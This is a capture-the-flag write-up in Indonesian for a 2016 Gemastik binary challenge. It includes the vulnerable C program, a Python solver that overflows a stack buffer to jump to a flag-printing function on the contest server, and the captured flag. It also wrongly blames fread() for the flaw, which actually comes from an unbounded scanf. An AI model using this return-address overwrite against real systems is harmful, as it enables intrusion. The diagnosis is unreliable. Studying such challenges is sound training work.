Gemastik Quals 2016 Power Plant (150 Points)
Masalah
Diberikan dua buah file, powerPlant2 dan powerplant2.cserta layanan yang
dapat diakses melalui nc 103.43.46.178 13341.
Isi powerplant2.c.
#include <stdio.h>
#include <stdlib.h>
int is_access_code_correct(char input[32]) {
FILE *db;
char access_code[64];
db = fopen("PowerPlant.db", "r");
fread(&access_code, 1, 64, db);
fclose(db);
if (strcmp(input, access_code) == 0) {
return 1;
}
return 0;
}
void enter_power_plant_system() {
FILE *fp;
char flag[64];
fp = fopen("PowerPlant2.flag", "r");
fread(&flag, 1, 64, fp);
fclose(fp);
printf(" %s\n\n", flag);
}
int main() {
printf("\n");
printf(" __ ________ _ _____ ____ __ __ ______ ,/\n");
printf(" \\ \\ / / ____| | / ____/ __ \\| \\/ | ____| ,'/\n");
printf(" \\ \\ /\\ / /| |__ | | | | | | | | \\ / | |__ ,' /\n");
printf(" \\ \\/ \\/ / | __| | | | | | | | | |\\/| | __| ,' /_____,\n");
printf(" \\ /\\ / | |____| |___| |___| |__| | | | | |____ .'____ ,' \n");
printf(" \\/ \\/ |______|______\\_____\\____/|_| |_|______| / ,'\n");
printf(" / ,'\n");
printf(" ===================================================== /,'\n");
printf(" - Power Plant Control System v2.0 - /'\n");
printf("\n\n\n");
printf(" SECRET ACCESS CODE : ");
char input[32];
scanf("%s", input);
printf("\n\n");
if (is_access_code_correct(input)) {
printf(" ACCESS GRANTED\n\n");
enter_power_plant_system();
} else {
printf(" ACCESS DENIED\n\n");
}
return 0;
}
Penyelesaian
Binary yang diberikan ternyata berbeda. Jika melakukan debugging secara lok
al, anda tidak dapat mengendalikan register RIP.
Sebaiknya langsung mengirim payload ke server.
Kelemahan yang ada sebenarnya ada pada fungsi fread() yang tidak bisa menahan
serangan buffer overflow yang dapat menyebabkan pemanggilan fungsi yang tida
k diinginkan, salah satunya enter_power_plant_system().
Fungsi tersebut beralamatkan di 0x4007ba, anda dapat memeriksanya dengan peri
ntah:
$ nm powerPlant2
Untuk menyelesaikannya, gunakan solver.py.
Isi solver.py.
import socket
import struct
import telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('103.43.46.178',13341))
p = 'A' * 40
p += struct.pack('<Q', 0x4007ba)
s.send(p + '\n')
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()
Anda akan mendapatkan flag ini.
GEMASTIK{_all_your_st4ck_b3l0ng_to_us__________}